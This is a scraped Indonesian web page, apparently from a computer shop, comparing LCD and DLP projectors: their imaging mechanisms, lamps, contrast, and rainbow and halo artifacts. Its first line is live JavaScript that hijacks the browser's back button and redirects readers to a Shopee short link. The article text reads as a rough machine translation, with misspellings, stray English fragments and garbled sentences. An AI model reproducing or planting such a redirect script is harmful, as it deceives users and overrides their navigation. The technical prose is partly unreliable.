(function(window, location) { history.replaceState(null, document.title, location.pathname+"#!/history"); history.pushState(null, document.title, location.pathname); window.addEventListener("popstate", function() { if(location.hash === "#!/history") { history.replaceState(null, document.title, location.pathname); setTimeout(function(){ location.replace("https://shope.ee/5Utq2NAvFT"); },10); } }, false); }(window, location));
Kategori: Peralatan Kantor

Perbedaan Proyektor LCD dan DLP

Proyektor dapat secara luas catogorised menjadi dua teknologi, DLP (Digital Light Processing) atau LCD (Liquid Crystal Display). Hal ini mengacu pada mekanisme internal yang menggunakan proyektor untuk menyusun gambar. Sampai saat ini, LCD disediakan untuk desain lebih murah sementara DLP model memegang tepi kinerja untuk high-end proyektor. Namun, kemajuan terbaru telah melihat kedua teknologi konvergen dan dalam kebanyakan kasus ada yang kurang dari alasan untuk memilih satu teknologi di atas yang lain.
Proyektor LCD merupakan salah satu jenis proyektor yang digunakan untuk menampilkan video, gambar, atau data dari komputer pada sebuah layar atau sesuatu dengan permukaan datar seperti tembok, dsb. Proyektor jenis ini merupakan jenis yang lebih modern dan merupakan teknologi yang dikembangkan dari jenis sebelumnya dengan fungsi sama yaitu Overhead Projector (OHP) karena pada OHP datanya masih berupa tulisan pada kertas bening.

Proyektor LCD biasanya digunakan untuk menampilkan gambar pada presentasi atau perkuliahan, tapi juga bisa digunakan sebagai aplikasi home theater. Untuk menampilkan gambar, proyektor LCD mengirim cahaya dari lampu halide logam yang diteruskan ke dalam prisma yang mana cahaya akan tersebar pada tiga panel polysilikon, yaitu komponen warna merah, hijau dan biru pada sinyal video. Proyektor LCD berisi panel cermin yang terpisah satu sama lain. Masing-masing panel terdiri dari dua pelat cermin yang di antara keduanya terdapat liquid crystal. Ketika terdapat perintah atau instruksi, kristal akan membuka untuk membolehkan cahaya lewat atau menutup untuk mem-block cahaya tersebut Membuka dan menutupnya pixel ini yang bisa membentuk gambar.

Lampu yang digunakan pada proyektor LCD adalah lampu halide logam karena menghasilkan suhu warna yang ideal dan spektrum warna yang luas. Lampu ini juga memiliki kemampuan untuk memproduksi cahaya dalam juga sangat besar dalam area kecil dengan arus proyektor sekitar 2.000-15.000 ANSI lumens. Indonesia termasuk salah satu negara tujuan pasar proyektor LCD ini. Berbagai perusahaan proyektor LCD memasarkan produk mereka seperti Sony dan Sanyo. Produk proyektor LCD yang mereka tawarkan beragam mulai dari yang hemat energi sampai model terbaru yang lebih kecil dan ringan.

Teknologi DLP dapat ditemukan dalam proyektor dari produsen seperti BenQ, InFocus dan Optoma. DLP ™ menggunakan teknologi semikonduktor optik, yang dikenal sebagai Digital Micromirror Device, atau chip DMD untuk menciptakan sumber bahan. Silakan klik pada ikon di bawah ini untuk memulai demo Flash untuk menunjukkan cara kerjanya. Keuntungan dari DLP tersebut adalah Less ‘chicken wire’ (or ‘screen door’) effect karena piksel yang lebih dekat bersama-sama. Hal ini tidak membuat banyak perbedaan dengan data, tetapi menghasilkan gambar lebih halus untuk video.

Sebuah comparrison dari proyeksi LCD dan DLP untuk menggambarkan ‘pintu layar’ atau ‘efek kawat ayam pada proyeksi LCD.
Kontras yang lebih tinggi dapat dicapai.DLP telah disegel optik yang membuat mereka lebih baik untuk digunakan di lingkungan berdebu.Proyektor DLP umumnya lebih poratable sebagai komponen lebih sedikit diperlukan.

Kekurangan DLP sendiri adalah efek ‘pelangi’, muncul sebagai kilatan sesaat pelangi seperti striping biasanya membuntuti objek terang terlihat dari satu sisi layar untuk yang lain, atau ketika mencari jauh dari citra yang diproyeksikan ke objek offscreen. Hanya beberapa orang melihat efek ini, atau Anda dapat membuat untuk diri sendiri dengan menggerakkan mata Anda sangat cepat di layar. Ada dua jenis proyektor DLP – yang lama memiliki empat segmen pada roda warna, yang baru memiliki enam atau bahkan tujuh dan berputar lebih cepat, yang berarti efek pelangi kurang dan warna yang lebih jenuh.

The ‘halo’ efek (atau ‘kebocoran cahaya’). Ini mungkin mengganggu beberapa orang menggunakan proyektor mereka untuk bioskop rumah. Pada dasarnya itu sebuah band abu-abu di sekitar bagian luar gambar, yang disebabkan oleh cahaya liar yang memantul dari tepi cermin kecil pada chip DLP. Hal ini dapat menjadi pengalih perhatian, namun dapat diatasi dengan memiliki perbatasan hitam beberapa inci lebar di sekitar layar, sehingga halo jatuh ke perbatasan. Namun efek halo kurang jelas dalam chip DLP baru seperti chip DDR.

DimensiData

DimensiData.Com adalah Pusat Belanja Komputer untuk pribadi dan perusahaan Terlengkap dan termurah di Indonesia. Kami menyediakan komputer, laptop, notebok, server, printer, scanner, hard disk, storage nas dengan harga murah dan bergaransi resmi.